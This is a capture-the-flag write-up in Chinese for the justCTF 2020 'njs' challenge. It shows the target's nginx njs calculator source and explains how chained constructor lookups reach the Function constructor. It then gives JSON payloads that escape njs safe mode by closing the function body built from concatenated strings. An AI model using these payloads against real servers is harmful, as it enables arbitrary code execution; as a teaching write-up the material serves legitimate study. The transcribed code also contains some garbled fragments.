# justctf-2020-njs

# tags

nodejs-sandbox-escape

# 源码

```
var Calculator = function(result){
   this.result = result;
};
Calculator.prototype.addEquation = function(op, x, y){
    this.result = this[op](x, y);
    return this.result
};
Calculator.prototype.toString = function(prop) {
    if(prop) {
        return this.result[prop]
    return this.result;
};
Calculator.prototype.add = function(x, y) {
   if(y != null)
        return x + y;
    return this.result + x;
Calculator.prototype.sub = function(x, y) {
   if(y != null)
        return x - y;
    return this.result - x;
Calculator.prototype.mul = function(x, y) {
    if(y != null)
        return x * y;
    return this.result * x;
Calculator.prototype.div = function(x, y) {
    if(y != null)
        return x / y;
    return this.result / x;
};
function template() {
    return "<html>" +
        "<head></head><body>" +
        "<form id='form' method='post'>" +
        "<input name='x' type='text' value='7'>" +
        "<select name='op'>" +
        "<option value='add'>+</option>" +
        "<option value='sub'>-</option>" +
```

```
"<option selected value='mul'>*</option>" +
        "<option value='div'>/</option>" +
        "</select>" +
        "<input name='y' type='text' value='7'>" +
        "<span>=</span>" +
        "<span id='result'>?</span>" +
        "<input type='submit' value='Calc'/>" +
        "</form>" +
        "<!-- <a href='/source'>source</a> -->" +
        "<script>function onSubmit(t){t.preventDefault();try{(async()=>{var t=
{};const e=new FormData(document.querySelector(\"form\"));for(var n of
e.entries())t[n[0]]=n[1];try{var r=await fetch(\"/\",{method:\"POST\",headers:}
{Accept:\"application/json\",\"Content-
Type\":\"application/json\"},body:JSON.stringify([{op:t.op,x:parseInt(t.x),y:par
seInt(t.y)}])};document.getElementById(\"result\").innerText=await
r.text()}catch(t){document.getElementById(\"result\").innerText=t.toString()}})
()}catch(t)
{}return!1}document.getElementById(\"form\").addEventListener(\"submit\",onSubmi
t);</script>" +
        "<!-- <a href='/source'>source</a> -->" +
        "</body></html>"
}
// GET /
// POST /
function handlerCalc(r) {
    r.headersOut['Content-Type'] = 'text/html';
    if (r.method !== "POST") {
        r.return(200, template());
        return;
    }
    try {
        var data = r.requestBody;
        var calc = new Calculator(0);
        var calls = JSON.parse(data);//可以解析多个json数据所组成的数组,
        for(var i = 0; i<calls.length; i++) {</pre>
            var call = calls[i];
            calc.addEquation(call.op, call.x, call.y);
        r.return(200, calc.toString());
    } catch (e) {
        r.return(500, e.toString());
    }
}
// GET /source
function handlerSource(r) {
    r.headersOut['Content-Type'] = 'text/plain';
    r.return(200, require("fs").readFileSync("/etc/nginx/server.js"));
}
// GET /info
function handlerInfo(r) {
    r.headersOut['Content-Type'] = 'text/plain';
    r.return(200, njs.dump(global));
}
```

```
/*
Hint1: We are using docker image `nginx:1.19.5-alpine`
Hint2: Flag is in `/home/` directory
*/
export default {handlerCalc, handlerSource, handlerInfo};
```

# 调试

```
var Calculator = function(result){
    this.result = result:
};
Calculator.prototype.addEquation = function(op, x, y){
    this.result = this[op](x, y);
    return this.result
};
Calculator.prototype.toString = function(prop) {
    if(prop) {
        return this.result[prop]
   return this.result;
};
        var calc = new Calculator(0);
        var calls = JSON.parse('[{"op":"toString","x":"constructor","y":""},
{"op":"toString","x":"constructor","y":""},{"op":"result","x":"return
1","y":""}]'
);//可以解析多个json数据所组成的数组,
        for(var i = 0; i<calls.length; i++) {</pre>
            var call = calls[i];
            calc.addEquation(call.op, call.x, call.y);
        }
```

- calc对象在初始化时result属性被赋值为0,随后进入四次循环
- 第一次循环,通过op参数进入到能够修改的result属性的toString方法,再利用x将result属性设置为0.constructor,根据JS中的数据类型,数字实质上是Number构造函数的实例,因此0.constructor的值就为Number构造函数
- 第二次循环和第一次类似,将result属性设置为Number.constructor,而函数实质上是Function构造函数的实例,因此这一步返回Function构造函数
- 第三次循环,将op参数设置为result属性,即调用this.result函数,由于这个函数是Function构造函数,因此根据通过Function类型定义函数

### 5.5 Function类型

函数实际上是Function类型的实例,而且与其他引用类型一样具有属性和方法。由于函数是对象,因此函数名实际上是指向函数对象的指针,不会与某个函数绑定。 函数声明语法定义

```
function sum(num1,num2)
{
   return sum1+sum2;
}
```

+

#### 函数表达式语法定义

```
var sum = function(num1,num2){
   return num1+num2;
};
```

```
Function()构造函数定义

var sum = new Function("numl","num2","return numl+num2");

//不推荐
```

- 第四次循环,调用函数,执行代码
- payload

```
[{"op":"toString","x":"constructor","y":""},
{"op":"toString","x":"constructor","y":""},{"op":"result","x":"a,b","y":"alert(1)"},
{"op":"result","x":"","y":""}]
```

### 成功弹窗







但在这个题目中,由于开启了safe mode,在第三次循环处就会弹出错误

# **bypass**

• 根据<u>这里的代码</u>,要求第二个参数(也就是上面的y)必须为return this,这样就不能执行任意代码了。

```
njs_chb_append_literal(&chain, "(function(");
for (i = 1; i < nargs - 1; i++) {
    ret = njs_value_to_chain(vm, &chain, njs_argument(args, i));
    if (njs_slow_path(ret < NJS_OK)) {</pre>
        return ret;
    }
    if (i != (nargs - 2)) {
        njs_chb_append_literal(&chain, ",");
    }
}
njs_chb_append_literal(&chain, "){");
ret = njs_value_to_chain(vm, &chain, njs_argument(args, nargs - 1));
if (njs_slow_path(ret < NJS_OK)) {</pre>
    return ret;
}
njs_chb_append_literal(&chain, "})");
```

- 这里是创建函数的过程,只是用了简单的字符串拼接,我们按照规则将其闭合即可
- payload

```
[{"op":"toString","x":"constructor","y":""},
{"op":"toString","x":"constructor","y":""},{"op":"result","x":"a,b){/*your code here*/}+function(","y":"return this"},{"op":"result","x":"","y":""}]
```